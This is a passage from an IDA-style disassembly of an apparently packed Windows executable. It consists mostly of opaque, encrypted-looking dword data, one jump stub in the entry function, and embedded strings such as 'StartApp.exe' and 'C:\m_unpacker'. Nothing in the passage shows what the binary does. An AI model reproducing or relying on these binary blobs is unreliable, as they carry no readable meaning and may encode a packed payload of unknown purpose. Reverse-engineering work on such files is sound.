		dd 99D51A93h, 0CE4D94F9h, 0DE8C1328h, 13FCE0E0h, 927E4AE5h
		dd 50EC8EACh, 0D2F7B013h, 0E01F2C07h, 544D47A2h, 8F65409Ch
		dd 42008D77h, 0CEFBFE23h, 0B80C86E6h, 0F2AC3E2Ch, 0EAA8B6D0h
		dd 0B83F2DDFh, 1CC4CE8Ah, 2747C54h, 75A5EF30h, 98F89ADBh
		dd 0F011E822h, 51470015h, 9E8D059Ch, 0E4B6BE09h, 0B1F4EA40h
		dd 0F7E900CCh, 755584E2h, 0E300F6FEh, 1E82C52Dh, 25415EE8h
		dd 8810B6F9h, 0C10ECB97h, 0C3E0FC87h, 5E7F630Eh, 0D8A85386h
		dd 0E601BF14h, 0EBF8A367h, 94232A90h, 4D5CB800h, 600559CAh
		dd 5A259D00h, 86B0D7F8h, 20C80004h, 96A12A94h, 6CB93EBBh
		dd 65444D9Ch, 1C12204h,	93D81992h, 9B09093Ah, 0CC9807D9h
		dd 800614Fh, 0DFFA63B0h, 2A6B686h, 5101B4Ch, 0A47912D4h
		dd 4B02C900h, 1A6B217h,	834E5C3Dh, 3B3E7C0Dh, 0DEDFC85Ch
		dd 40188700h, 700657h, 74AA2EB3h, 593D2717h, 0D15DC900h
		dd 0FEE350C3h, 0A8B600A0h, 7907E0D4h, 0B10401B8h, 1E95B3D2h
		dd 231488h, 6C5CDCCFh, 0C39B2E0Eh, 0C97BAB05h, 8CF53E89h
		dd 0AE7C0C8h, 0E9CF7A6Ch, 305604FCh, 0E600CCE5h, 6275AF00h
		dd 79631859h, 0BAEB02D9h, 0A1BE9438h, 20B45761h, 9F480284h
		dd 0FC2E0010h, 8309FB2Ah, 7F9B2454h, 16E208B4h,	0B0F6E38Bh
		dd 0F7AB28D0h, 480D07D0h, 0FC7811C9h, 7DBD1776h, 0BCA0903Eh
		dd 78018905h, 28D5BF65h, 0B430CFD3h, 0E45C131Eh, 0C998F42Dh
		dd 0D36008BCh, 388AEF91h, 8609FA25h, 10103366h,	2400C44Eh
		dd 0D0806103h, 0FEB3C0h, 0E004BE84h, 8C8A13ADh,	1B28930Eh
		dd 6CC16085h, 10D03DFh,	4A15F7AAh, 22C4BE6Bh, 5CBF00B4h
		dd 0A4B0D673h, 58D148F7h, 8DBE9CC0h, 0B50942B9h, 0D6BBA5B2h
		dd 0E86E009Ch, 1296D1E3h, 91A85600h, 0F2B6B408h, 0E2251672h
		dd 13E888F8h, 3A8B388h,	0A9151A96h, 0ABC0366Ah,	0EF7DFD2Eh
		dd 262B7F73h, 3D0080C8h, 0E6FC8434h, 0B99103A9h, 6A388164h
		dd 9EBD4416h, 61C98031h, 394B46DCh, 1B0FA47Ch, 8747CD05h
		dd 3A22614Dh, 0A132CC91h, 0EC084898h, 807B964Ah, 6F38FAFDh
		dd 18BE5E4Eh, 971AFE85h, 0A64BBC00h, 33D6B039h,	0B521666Dh
		dd 73E50A0h, 7C83152h, 54C4784h, 7BB1D400h, 0AD0B01B8h
		dd 7AA496BAh, 0B8E0CAC6h, 8827ACC3h, 842C10CEh,	18EE0101h
		dd 37FC1B86h, 3C213AB1h, 609D0DF6h, 0A14482B2h,	564266h
		dd 34926C40h, 5FED0010h, 0C3455D8Ch, 7814B429h,	259209D5h
		dd 89500281h, 807125h, 3C9553DCh, 0E90EBF4Eh, 1D80E499h
		dd 5B672041h, 202AC8BAh, 24BF7D4Ch, 9B7FF676h, 1A059FF4h
		dd 0C9FA1B31h, 618028ACh, 0D9C4F295h, 0BCCF3503h, 9186A59Dh
		dd 2230F4E1h, 0B0ED02E9h, 1CB4487h, 8609F840h, 47D59B00h
		dd 0C693AB40h, 257713CCh, 0F26424D0h, 949C0008h, 89C5B2E5h
		dd 6D790FC6h, 9B41DCA2h, 60F98AD4h, 0C03950B5h,	51D19E3Eh
		dd 530683A6h, 2086218h,	0EBFAB50Fh, 0E8E32ED9h,	9DD0B885h
		dd 0BA7F01E1h, 0D01071EAh
		dd 0FE01FD44h, 988D060Fh, 9091F7C3h, 5E600D3h, 48C070C7h
		dd 0AEE2038Ch, 0C4F6A2B1h, 80C125E0h, 2E722D00h, 0FAEFE988h
		dd 0C8130178h, 8E11074Fh, 0B298F3F0h, 0A900B939h, 0C91D7A03h
		dd 11A1B167h, 5BE2CC25h, 91514420h, 0A8B00841h,	0CB024AC6h
		dd 0DC9E9C55h, 0DE804924h, 273E2432h, 13EAFAF6h, 0EF655C03h
		dd 4E5A8407h, 0C0A424F8h, 83ABFAD8h, 2F2CBF7Ch,	562628ECh
		dd 9EC90Bh, 9C1411E0h, 0E6360DB9h, 6C392EFEh, 38608028h
		dd 720542h, 8326460Eh, 0B76B2149h, 2A1DBB04h, 4CE2CCAAh
		dd 2F38EF00h, 0AF396086h, 904D7D07h, 0DBDB23h, 46ED888Dh
		dd 1854B05h, 0C8E11CE4h, 218889B6h, 2748F09Dh, 0B410126Bh
		dd 271D89D2h, 0B440D6D9h, 71111CECh, 0E90800F1h, 53C24BC8h
		dd 0D8906E92h, 1B3BD00h, 8B0AE889h, 0AF190091h,	0BC02F879h
		dd 0FB1354D1h, 0E0A24AE2h, 1DA93C61h, 0AAB04CD4h, 59770500h
		dd 448548C8h, 223B0BBh,	0CAD4A202h, 0A48EA62Ah,	8A53C3A0h
		dd 20953386h, 613051C8h, 59420431h, 0C06C8C4Ah,	0F0EB6604h
		dd 1C4909Dh, 8BBE0FAAh,	0A1C5C662h, 0B0B2A3h, 0F94BB33Eh
		dd 1B4D1E4h, 8807D3A6h,	80C81BB8h, 97193570h, 9449B77Fh
		dd 0F1D10B38h, 0EE32822h, 2645129h, 0BBE2996Ah,	3BF05Ch
		dd 2AC10FEFh, 254CD8Dh,	0F1EA3F1Bh, 28F2FAE3h, 0F5FDB807h
		dd 6CA0B6A2h, 5A4798h, 5F26B791h, 0A8BCEB36h, 0A0D885B5h
		dd 20C55980h, 2AA7840h,	76D351CBh, 7059E466h, 6FC8B800h
		dd 0D16D2Eh, 0CBC0D9A5h, 4B75B621h, 8CA9A707h, 79993E07h
		dd 71060E80h, 1936445Dh, 3D464077h, 0ECAD8Eh, 9B692843h
		dd 0DC210879h, 188F48h,	919A4B22h, 0FA588117h, 3D072CAh
		dd 0A91D6ABAh, 1AB0EAB1h, 0E4007C53h, 8D78CEC2h, 99D2E20h
		dd 107FA92Ah, 0B18B1459h, 27F8009Eh, 13D1ADE9h,	90BB7807h
		dd 1525CF44h, 0A7409C9Eh, 7A39601h, 89060A53h, 0B88EC493h
		dd 514180D0h, 9A60E04h,	0D81E4FE5h, 9FD4D800h, 80037F30h
		dd 0B52DFC87h, 9C883BA0h, 0F40BD704h, 4C0CCC56h, 1A790302h
		dd 0E1F0B083h, 0B815244Ch, 14CD434h, 7A93FFC9h,	4E19FC0h
		dd 84E0432h, 9A8083D8h,	78CF05B9h, 0C9324AA0h, 7028E228h
		dd 7F28AC83h, 88ECF3E1h, 865F75Fh, 4DA07761h, 0E4C4A7h
		dd 0C146FE69h, 48500D0Ch, 3E862E14h, 0A7370014h, 532BBEF2h
		dd 0AD7FE78h, 967395F1h, 0C180B974h, 653761D2h,	6CB8CCDFh
		dd 2E917AA0h, 0C0944748h, 3AD597BBh, 0A8C23B80h, 0EC8E3C02h
		dd 1CF12772h, 579F5000h, 1C23DA69h, 0DD88545Dh,	0E77280F9h
		dd 0F3BA6606h, 0CD26C414h, 44CC89FCh, 38C5E884h, 6980ADF4h
		dd 69E64D2h, 0C422FEDAh, 514D0763h, 0C05C8EA8h,	12E996A6h
		dd 3619C00h, 8457CE69h,	483490CCh, 2022B008h, 9E0068B9h
		dd 0A2BC429h, 0B518257Fh, 7DA96410h, 7F79A58h, 0CFAF642Dh
		dd 4CD1BD40h, 459CB088h, 12F002F9h, 2F60002Bh, 5CE14FCh
		dd 14AA84Bh, 0B8D0C421h, 0EA50803Ch, 28D46C30h,	3449177h
		dd 0B086A698h, 9EE257D1h, 0FB839476h, 0E9756037h, 9020137Ch
		dd 299888FAh, 0B88E8024h, 9322C800h, 3AB9DDh, 996CBE94h
		dd 0C263AFD4h, 64316F03h, 228EA69Dh, 0B04E16B8h, 78041080h
		dd 0B6A8A491h, 0EF8241B0h, 0B8D5D034h, 0A4D95C00h, 50BC7F1Dh
		dd 0C9B202F9h, 16A66EBDh, 750024D1h, 0F80439C6h, 6ACF005Fh
		dd 0C999F46Ch, 0FA3DB887h, 10C8DB4Ah, 10FB0EF1h, 0A0E139CFh
		dd 3BFDC625h, 0F9733870h, 63283AE0h, 0C582BB17h, 22F880B8h
		dd 0FE0229CEh, 0F871A23Ch, 13CE361h, 8B2BD192h,	727E4A2Ah
		dd 4205A68h, 0E29DE44h,	76DEDF1h, 0E110C853h, 0D842E200h
		dd 7DBD3C85h, 0C9102DA4h, 0C513C003h, 328E8ECh,	9F784F11h
		dd 0C8394A5Dh, 69B832E4h, 7559DA00h, 1B76530Ah,	0B85B032Ch
		dd 0E9B09F6Ah, 522FFE90h, 92C5833Fh, 70F28BFFh,	0D1848700h
		dd 0F97DFD4h, 0F1549C00h, 0BC26B42Fh, 3F28009Bh, 1FE3C4FDh
		dd 600095C5h, 0CD86D8BBh, 37DD972h, 0E15687E8h,	1CA34A36h
		dd 1B3EF2A0h, 66441107h, 9ED04D6Fh, 37F130h, 0A2CC3D5Fh
		dd 0BDF70628h, 0C11848DCh, 8DE351h, 0B76FFF79h,	0E69E7892h
		dd 36AAB500h, 0FCDC2C5Fh, 58C40356h, 0C31E2DC5h, 3F63410Eh
		dd 367C00D7h, 601F0EB1h, 147451CBh, 59008011h, 57C9FA82h
		dd 134E12h, 9A23EB45h, 5D477FCEh, 5E58C800h, 4FD23FB7h
		dd 639800D6h, 0F9A748A6h, 503EFD5h, 3F66E08Ah, 0BE00B7C8h
		dd 0C61319Dh, 0CD95D796h, 6C001588h, 7966EC18h,	0C4F544Ch
		dd 77AEF332h, 90C02A48h, 0D838D6BDh, 8D0100BAh,	0FE668BDEh
		dd 31F44612h, 0FF855106h, 1ED9E134h, 0C30B23A2h, 0A9F56392h
		dd 1AD624A8h, 0E6A8F106h, 5C29F934h, 143CCAE8h,	17684E00h
		dd 1C082F06h, 0B7004879h, 0B694909Ah, 0E664DA8h, 8F58A3FBh
		dd 1DD22540h, 2C3F74A1h, 7CCA00DFh, 68916104h, 1A56031Ch
		dd 0E8B0BE18h, 0D833E129h, 8BAAA000h, 9D5BC5h, 55FD7AC2h
		dd 0CA03AF84h, 75080A0h, 0A5BE3B50h, 1CC39B1Ch,	20CE64CFh
		dd 29D892D7h, 9E5C0145h, 0C3F0A995h, 8D28A522h,	0E8E0300Ch
		dd 1659E442h, 892481h, 96360B06h, 0F001558Dh, 0F8D6A193h
		dd 3180BF0Ah, 0EED4836Dh, 0FC0020E3h, 68BC1BDFh, 18399C7Ah
		dd 29A0EFE2h, 0CE05B08Ch, 0D33BB450h, 0C0C6AC4h, 1F1D8970h
		dd 0C0FE307Bh, 3B35B219h, 581CCC4Ah, 0A2015C2Dh, 0A7EFF943h
		dd 0BC5F3980h, 85464193h, 370CDA1Ch, 0E1410ADDh, 0B5EFF8A7h
		dd 54CE299Fh, 0F21FC925h, 90F68E21h, 9E080073h,	728F546Ah
		dd 0D5C81C0h, 0B1C881h,	51198860h, 1CA987CAh, 0C094D555h
		dd 0B298EA33h, 0A2AE1105h, 0B4411070h, 634ED4A7h, 0F120560h
		dd 1BFFB0C8h, 2C8F8827h, 491FEE61h, 3C4133EDh, 3AE2D5A0h
		dd 0E7F270h, 4BB94D76h,	9472DBDCh, 0A071D06Fh, 0CC1557FAh
		dd 180BF674h, 0D9A4A2D3h, 0C61DDB24h, 57406980h, 0A3C425F7h
		dd 0C5560612h, 29A293D3h, 0D2DA2A01h, 1E1574E1h, 1C2BD8h
		dd 1D276B11h, 0B32D8C0Eh, 1800C8A2h, 0A7FAC755h, 0FE017C00h
		dd 21A9278Ch, 0C074EAD8h, 0E7AE95C9h, 8502E837h, 713B3A52h
		dd 0ED84A015h, 0C67D09h, 0EB8135D0h, 4A1C1E84h,	0AC0124FAh
		dd 6EE858F7h, 318C1255h, 0DF79ABEFh, 0CDFBC600h, 3A89D9D8h
		dd 0AF9FA74h, 0E936568Ch, 98B118B8h, 0EC009569h, 26E6C8Dh
		dd 4AC524FFh, 18BBB898h, 0D0590D74h, 22BC007Eh,	40AA295Ch
		dd 0EF098614h, 108F80C1h, 16F9A038h, 0F0FA1C30h, 0C802918Fh
		dd 586EDB1Fh, 0B4508419h, 0B27F14Fh, 774AA3BBh,	73CDAD88h
		dd 6C5320Fh, 2CD7E194h,	0D048ABD3h, 8EE300FBh, 30BF713h
		dd 6A144B17h, 8882DBh, 3BDC7F1Ah, 1928DF6h, 787E447h, 0E5FF5715h
		dd 82A1B876h, 535CAAB6h, 6344A026h, 4F1A62h, 0EB09BC59h
		dd 8AF38790h, 3101D2F4h, 0F641D12Dh, 71D064DFh,	0F1C9C018h
		dd 0A0CB7293h, 0BA52FD00h, 8064BD8Ah, 0A44A02E1h, 6E04B24Fh
		dd 3140F563h, 34FA93FCh, 6A1C1F03h, 0DD3CEAADh,	0FC17BBC1h
		dd 4B42092h, 88F5A964h,	0A752D290h, 43506280h, 0BEEF2313h
		dd 0C193Bh, 2A389596h, 2973A236h, 0DC7081h, 8526E154h
		dd 0C10EF88Ch, 469E6BEEh, 88228Ah, 0DEFC607Ah, 2370C357h
		dd 0A3A8D318h, 0C0A15B59h, 4445CC5Ch, 73548F7Fh, 0DB00A6A4h
		dd 52BE337h, 1698ACh, 45F4EA57h, 3DFBF386h, 6AA7F600h
		dd 482E7A9h
		dd 0FF590215h, 91D2F00Bh, 255E6890h, 3CD5008Ah,	3C9AE1D3h
		dd 1E026B19h, 5FBE3EDh,	24EAE480h, 0D17B04B4h, 0B5F85802h
		dd 64566E3Bh, 0ADEF30CCh, 3DC8BA59h, 0E3C1F200h, 0E11EBCE2h
		dd 0EC7A98D2h, 51BD581Ah, 318FD312h, 20E0A3E8h,	1A4C218Ch
		dd 7B14C3DCh, 43D88040h, 0DCB600C7h, 5355E69h, 0AD020142h
		dd 8DD27DD4h, 0EDA622BEh, 0DD3F00C6h, 7A3C80BAh, 676F4E5Fh
		dd 242A4807h, 0E1AC2A71h, 9FA0058h, 566FD833h, 0CE133A66h
		dd 20743Eh, 7D2F51Ah, 70EFFE5Bh, 0E04570E7h, 0D7003736h
		dd 0FABC956Ch, 202593Dh, 42CDCF11h, 79C36B9Fh, 83684144h
		dd 258B261Fh, 533405BBh, 7E807FDCh, 2558043Fh, 27561EA1h
		dd 7C2EA828h, 37036E73h, 40782811h, 26F8E4D9h, 1CC6DDh
		dd 823BC064h, 70506C55h, 9703AC58h, 0C2E85B5h, 0EF9F9042h
		dd 0E27D58h, 0BF08CF5h,	0DDF63CE3h, 5157D11Dh, 2EF4A645h
		dd 11709C46h, 16440049h, 0A450DA43h, 8E027D0Fh,	0B12E390Ah
		dd 1084029h, 0DEF530A6h, 7FB9D239h, 989DE200h, 2436846h
		dd 0D394300Ah, 36A80D21h, 4EC5B61Dh, 6CFE4940h,	932B7C4h
		dd 596ED506h, 0D2DFD410h, 4D6D7101h, 0A86AE6A9h, 0C628760h
		dd 2F930898h, 5F1EDE51h, 0E841E437h, 0BCB8A2FEh, 0EA13C4h
		dd 81BBD15Dh, 5C3EE022h, 9C38FB28h, 0EBB9CD04h,	3C88A6D2h
		dd 0EE660752h, 314254DFh, 0E96EFA3Eh, 1E898128h, 7598E11Fh
		dd 44710820h, 1600A20Fh, 30668831h, 921F6005h, 561A00E4h
		dd 0CFE6026Fh, 0A9C0DA93h, 0BCA7DEF7h, 8C9415BBh, 0B400E46Eh
		dd 0D9FC649Ah, 0CA00AC42h, 1B178958h, 1380A21Ah, 207144FDh
		dd 0B955F20h, 5D69DA00h, 0E98E0C82h, 6A66001Bh,	68D86C56h
		dd 3711502h, 22F4AD4Ch,	56110026h, 5AB6F8C4h, 6B174DDEh
		dd 24085D5Bh, 987680B1h, 371CDC73h, 350183F2h, 4C72404Dh
		dd 8D419E1h, 5809FE92h,	6D87F88Ch, 0F152E059h, 4503AD80h
		dd 1058A455h, 0CA9D9F3h, 788449F5h, 0CCF88A6Fh,	800E9FCh
		dd 0ABC95389h, 90C1AE12h, 8A2D2EF8h, 7A51100h, 89C0E6A6h
		dd 0BAF840CEh, 0D76763h, 3E96241Ah, 0F926E30Eh,	0C866A704h
		dd 60C0A20Ah, 3AF3F78Ah, 0B5000715h, 0A4E75C41h, 2703191Ch
		dd 0B2F27340h, 0E8280565h, 41D9EFA6h, 2D6A89CCh, 977830A3h
		dd 2230A45Ch, 0C12400BEh, 5C393784h, 0A1CF2A70h, 0EC1E6090h
		dd 0F967054Ah, 64004462h, 0EAC908FEh, 0F600346Dh, 78B7BD0h
		dd 0E8F5E5h, 0B052B31Bh, 0B984E1FAh, 9D0ADDE8h,	847C885Eh
		dd 5802C29h, 98925DDEh,	31A70069h, 99EC5C8Ch, 8987790h
		dd 89285E00h, 0DD7A8DE2h, 4B316B2h, 883448h, 600E91CEh
		dd 0B205DACEh, 0C5633E2Dh, 0D2C8E981h, 25AC25E8h, 2420F04Ch
		dd 0F8A71C44h, 6376651Fh, 517BE900h, 2419C84h, 0AA2DC440h
		dd 8C98ACD3h, 0C7120294h, 0F85E83AEh, 6140942Ch, 2CF8DF1h
		dd 0E84CE0C3h, 0EC61276Ah, 7283271h, 4D2292A1h,	5C6C0E20h
		dd 0CDF800A0h, 1C8CDC9Eh, 400554Fh, 5A8912F2h, 0B8879682h
		dd 188F7784h, 692993F7h, 4E009C9Dh, 7EB853D5h, 16F9178h
		dd 48BE7FA0h, 0D86A7B09h, 30941FAh, 827EC836h, 207524A0h
		dd 2819711Ch, 34D99F3Eh, 0AC81D92Bh, 1026F557h,	0AE8416h
		dd 9F534B5Ch, 2F48741Ch, 0AF1309F4h, 2CB40422h,	0EFDDE040h
		dd 8C302E9Fh, 0CC605169h, 673B00E9h, 43014483h,	6E00BA35h
		dd 0E4C19F90h, 96F0C06Ah, 79868038h, 98448E5Eh,	7EB9D304h
		dd 0C8506Eh, 96270082h,	7DE549CEh, 74C5AEEh, 0A8ADC084h
		dd 5FB0EAh, 474AD39Ah, 1CB69E62h, 0B3C62F0Eh, 9444E33Ah
		dd 45310024h, 27344ECFh, 533E04CDh, 2D390021h, 1D36BD24h
		dd 173C0264h, 8F52E2D8h, 57E86880h, 2900D4FAh, 34AC7572h
		dd 38158B6h, 26671FDAh,	0F3A8E1EAh, 4B127A1Bh, 0AC033BFCh
		dd 2D9462h, 0FF845479h,	0E9E863CEh, 2B8AE307h, 87757073h
		dd 0E5B03440h, 7CC2694h, 28514ACFh, 108317D6h, 6165116Ch
		dd 16E74301h, 8DCF671Bh, 0E6074C32h, 705F4F94h,	585DC07Ah
		dd 8C7113E0h, 85CA283Ah, 40CC7166h, 1FEF0480h, 0A7E20F9Eh
		dd 79821B65h, 909093BFh, 0E700140Eh, 636ADCC1h,	21C9F2h
		dd 0D96D7823h, 7AB77C67h, 71392412h, 602C0491h,	8A1DECh
		dd 0A787A897h, 7F297A0Bh, 0FF01CC52h, 60FBFFh, 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_52DCF8:				; CODE XREF: start:loc_4D3265j
					; DATA XREF: start:loc_4D3086o
		jmp	loc_530FE9
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
aJz		db 'Áܦ‡',0
		align 4
		dd 3 dup(0)
		dd 0C530DF00h, 0A9h, 9E949900h,	0
		dd 9EF78D00h, 0FDh, 0
		dd 584C7600h, 2	dup(0)
		dd 0E800h, 2 dup(0)
		dd 25407100h, 8Ch, 2 dup(0)
		dd 568D0E00h, 2Ah, 6 dup(0)
		dd 641F5C00h, 0Ah, 6FE000h, 0FFA7A500h,	0FFh, 3	dup(0)
		dd 476CB800h, 0D4C96A02h, 77h, 0
		dd 5A428000h, 0
		dd 9EFA5600h, 2	dup(0)
		dd 57EDE200h, 6, 6 dup(0)
		dd 1FCFC00h, 80h, 0
		dd 0A9711600h, 580000FFh, 2, 2 dup(0)
		dd 558E0200h, 0A400h, 0
		dd 0FE030400h, 7Fh, 13h	dup(0)
		dd 52FB1900h, 0E8360C00h, 77h, 29h dup(0)
		dd 0FE030400h, 5301E17Fh, 568F6D00h, 0A7DC5E00h, 0FFh
		dd 0FB66F400h, 0FFh, 3 dup(0)
		dd 6C00h, 3 dup(0)
		dd 1AE00000h, 0Ch dup(0)
		dd 2FB7FB00h, 70h, 0
		dd 100h, 0FE030400h, 7Fh, 7 dup(0)
		dd 0DC000000h, 0CBh, 0Ch dup(0)
		dd 8704EB00h, 57h, 0
		dd 0AD721600h, 2 dup(0)
		dd 3600000h, 0CA9E0400h, 0E7A14427h, 77h, 61962300h, 0FFh
		dd 0EE610B00h, 9Bh, 2 dup(0)
		dd 0FF9B6E00h, 736552FFh, 74726174h, 2E707041h,	657865h
		dd 500h, 8 dup(0)
		dd 0FE030400h, 5C3A437Fh, 6E755F6Dh, 6B636170h,	7265h
		dd 7Eh dup(0)
		dd 500h, 0
		dd 296D6F00h, 0CAh, 245E900h, 0
		dd 0FE030400h, 0D3C9117Fh, 0A2h, 4 dup(0)
		dd 3F000C00h, 2, 0
		dd 59000000h, 36E71302h, 0FAh, 0F2F70C00h, 0E7h, 0
		dd 0D17E00h, 0
		dd 40000000h, 2	dup(0)
		dd 0ED00AC00h, 12FF54FFh, 7D100h, 5 dup(0)
		dd 400E900h, 200h, 6 dup(0)
		dd 9EA00F00h, 6	dup(0)
		dd 5DF46700h, 0FEh, 4D586800h, 0FE030456h, 7Fh,	2 dup(0)
		dd 568F6D00h, 100h, 3 dup(0)
		dd 5A947A00h, 3	dup(0)
		dd 2216800h, 0
		dd 40310A00h, 80h, 8 dup(0)
		dd 94B63E00h, 7B09E9FEh, 2Bh, 7	dup(0)
		dd 0B5083800h, 56h, 4 dup(0)
		dd 0E7AC5E00h, 77h, 3 dup(0)
		dd 9E923400h, 0FFFFFF00h, 0FFh,	0
		dd 0E7A13F00h, 56F37A77h, 5 dup(0)
		dd 6BE900h, 98E900h, 3 dup(0)
		dd 5B3300h, 2 dup(0)
		dd 7F754400h, 94ACh, 2 dup(0)
		dd 4A1DD600h, 2Ah, 0FE030400h, 7Fh, 12FFF000h, 0Fh dup(0)
		dd 568EEA00h, 3	dup(0)
		dd 6BE900h, 3 dup(0)
		dd 33333300h, 2	dup(33333333h),	33h, 3 dup(0)
		dd 996EB800h, 7, 6 dup(0)
		dd 19CC00h, 8 dup(0)
		dd 37A8B800h, 18h, 4 dup(0)
		dd 0AAD5E300h, 0D7h, 6 dup(0)
		dd 585C9300h, 0
		dd 0AC00h, 615FF100h, 0FFh, 3 dup(0)
		dd 58832700h, 9E314500h, 3 dup(0)
		dd 0FF938000h, 0FFh, 42DCF600h,	19h, 4 dup(0)
		dd 1FCFC00h, 80h, 0
		dd 0A5BD8000h, 0FFh, 0
		dd 5931EE00h, 0
		dd 5701A900h, 2	dup(0)
		dd 0FFEF1800h, 880000FFh, 888D8D02h, 87h, 0
		dd 0E7A14400h, 77h, 0
		dd 12FF5400h, 2	dup(0)
		dd 0CA9E0400h, 27h, 26h	dup(0)
		dd 0FFFCFC00h, 0FFh, 4D100000h,	2 dup(0)
		dd 0E7A83700h, 77h, 2 dup(0)
		dd 100h, 2 dup(0)
		dd 9E69DD00h, 3	dup(0)
		dd 0A0B13400h, 0AFB09D00h, 0EBh, 6 dup(0)
		dd 98633900h, 0E7A5FD7Fh, 77h, 3 dup(0)
		dd 28010500h, 0Ah, 2 dup(0)
		dd 9E69DD00h, 0ACB1CA00h, 0CEFFB000h, 1, 5 dup(0)
		dd 0E7A5FD00h, 77h, 0Ch	dup(0)
		dd 58812600h, 7	dup(0)
		dd 90B0DA00h, 10h, 0
		dd 0FFAECF00h, 0FFh, 56FFBA00h,	0FFh, 2	dup(0)
		dd 568EEA00h, 4	dup(0)
		dd 6EFFB000h, 53002301h, 0
		dd 57A48600h, 0Dh dup(0)
		dd 0FFB79700h, 0FFh, 0CB1A700h,	9 dup(0)
		dd 5A428000h, 3	dup(0)
		dd 0DD5ECC00h, 77h, 3 dup(0)
		dd 5F645400h, 0FFh, 0
		dd 568EEA00h, 3	dup(0)
		dd 0FE030400h, 7Fh, 568EEA00h, 0
		dd 55E45900h, 0
		dd 0FE030400h, 597F5D7Fh, 0F5000032h, 77h, 0
		dd 0A7A36D00h, 2D3430FFh, 20EE931h, 0
		dd 65685400h, 6164696Dh, 1Dh dup(0)
		dd 0FE030400h, 0E8360C7Fh, 77h,	2 dup(0)
		dd 568EEA00h, 0E8000h, 0FFFFFF00h, 0FFh, 5 dup(0)
		dd 0F0004900h, 0FFh, 0Ah dup(0)
		dd 22FE800h, 39002900h,	7Dh, 6C00h, 0
		dd 56F8A00h, 0A3h, 9EF5B800h, 0D8FDh, 0
		dd 9D00F800h, 1FCFC00h,	80h, 2300h, 0Dh	dup(0)
		dd 8C00h, 3 dup(0)
		dd 9C1DB800h, 55h, 97AE6300h, 568EEA4Ch, 0E8221C00h, 77h
		dd 3 dup(0)
		dd 40310A00h, 80h, 4 dup(0)
		dd 100h, 0C530DF00h, 7E8A9h, 9 dup(0)
		dd offset dword_450050+0F6B0h
		dd 4 dup(0)
		dd 0A4695A00h, 8BA0AFBBh, 0
		dd 0F5125400h, 77h, 0
		dd 400E900h, 3D79B100h,	59h, 57B95500h,	5 dup(0)
		dd 0FF97A800h, 0FFh, 0EFFB000h,	2, 6 dup(0)
		dd 0A28D5300h, 4 dup(0)
		dd 585C3600h, 5	dup(0)
		dd 0A7DC5E00h, 0FFh, 9 dup(0)
		dd 0FE030400h, 7Fh, 7E800h, 9 dup(0)
		dd 561FA900h, 4	dup(0)
		dd 9C18FA00h, 28h, 2 dup(0)
		dd 5400h, 0
		dd 568EEA00h, 2	dup(0)
		dd 0A09CFF00h, 0E75CB512h, 77h,	2 dup(0)
		dd 568EEA00h, 100h, 0DCE07D00h,	80h, 0FE030400h, 7Fh, 2	dup(0)
		dd 568EFC00h, 60FA0900h, 0FFh, 9 dup(0)
		dd 7C00h, 0AA077C00h, 3F9F8FFh,	2D23A200h, 58AD6F9Ah, 0FE030400h
		dd 7Fh,	0
		dd 0A000000h, 64h, 0Ch dup(0)
		dd 0E78B8200h, 77h, 3 dup(0)
		dd 561D6400h, 4	dup(0)
		dd 9F22D400h, 0
		dd 0A9372B00h, 0FFh, 11h dup(0)
		dd 0FE030400h, 12FD087Fh, 0
		dd 12FEF000h, 0
		dd 1900h, 3 dup(0)
		dd 0C40EE900h, 68AAD208h, 0E7h,	3 dup(0)
		dd 572AA000h, 2	dup(0)
		dd 9800h, 3 dup(0)
		dd 35B00h, 0
		dd 0E7796300h, 77h, 0
		dd 0E4475300h, 52h, 0
		dd 58AF2400h, 56002300h, 0
		dd 59C24600h, 3	dup(0)
		dd 0FE030400h, 7Fh, 0
		dd 0E7A09900h, 77h, 0FE030400h,	53018D7Fh, 4 dup(0)
		dd 0C7AF000h, 12Dh, 0
		dd 5A188B00h, 9	dup(0)
		dd 0FE030400h, 7Fh, 5 dup(0)
		dd 561D8C00h, 573AAE00h, 4 dup(0)
		dd 0B4320E00h, 0DCh, 3 dup(0)
		dd 5995CF00h, 0
		dd 573AB100h, 0
		dd 5820AF00h, 5AF66400h, 0
		dd 594E1900h, 6	dup(0)
		dd 0BFCEF600h, 7Fh, 2 dup(0)
		dd 59C24600h, 0
		dd 6BE900h, 0Ah	dup(0)
		dd 0D000000h, 3	dup(0)
		dd 0A9711600h, 0FFh, 5809EA00h,	61962300h, 0FFh, 9 dup(0)
		dd 0AA6EC900h, 420B88FFh, 0
		dd 0E8279000h, 77h, 0
		dd 0FDFFFF00h, 0ECFEh, 4 dup(0)
		dd 0F5180B00h, 0C530DF77h, 0A9h, 7 dup(0)
		dd 34567800h, 12h, 4 dup(0)
		dd 585C9300h, 9	dup(0)
		dd 0A6B26200h, 0FFh, 56BDD600h,	0
		dd 9E229200h, 3	dup(0)
		dd 0FFFCFC00h, 0FFh, 0
		dd 4EFFB000h, 1, 17h dup(0)
		dd 5DF46700h, 470000FEh, 2, 9DD55400h, 8 dup(0)
		dd 0B5000000h, 0
		dd 583B2F00h, 1101F800h, 80h, 4	dup(0)
		dd 6BC100h, 0
		dd 588AFD00h, 0E7A83780h, 0DC77h, 4 dup(0)
		dd 32A000h, 0C4h, 1C213800h, 37h, 5 dup(0)
		dd 560F5500h, 56002300h, 0
		dd 569F0600h, 0
		dd 0E0939900h, 0DCh, 3 dup(0)
		dd 0E793EF00h, 77h, 1Bh	dup(0)
		dd 531B7A00h, 3	dup(0)
		dd 0B4320E00h, 0DCh, 12793D00h,	7, 6 dup(0)
		dd 0A2376C00h, 1, 0
		dd 9B02D000h, 49h, 0
		dd 1FCFC00h, 80h, 2 dup(0)
		dd 568F6D00h, 2	dup(0)
		dd 2155C00h, 2 dup(0)
		dd 0E83E6800h, 77h, 59F7D600h, 561AE300h, 0Dh dup(0)
		dd 100h, 2 dup(0)
		dd 12FFA400h, 56F11100h, 9000h,	5 dup(0)
		dd 56ED0E00h, 2Ah, 4 dup(0)
		dd 0A000h, 9EA00F00h, 7400h, 2 dup(0)
		dd 100h, 0F0BF0400h, 0BAh, 56B22800h, 9F326880h, 9D003E00h
		dd 3 dup(0)
		dd 0F1BA7F00h, 63h, 3 dup(0)
		dd 9E70C400h, 9D000000h, 11h dup(0)
		dd 0DE817700h, 438D8D11h, 0E8061859h, 77h, 0A9502D00h
		dd 0A07316FFh, 0Ch dup(0)
		dd 530B2500h, 7	dup(0)
		dd 0E6D70600h, 0E0477h,	0
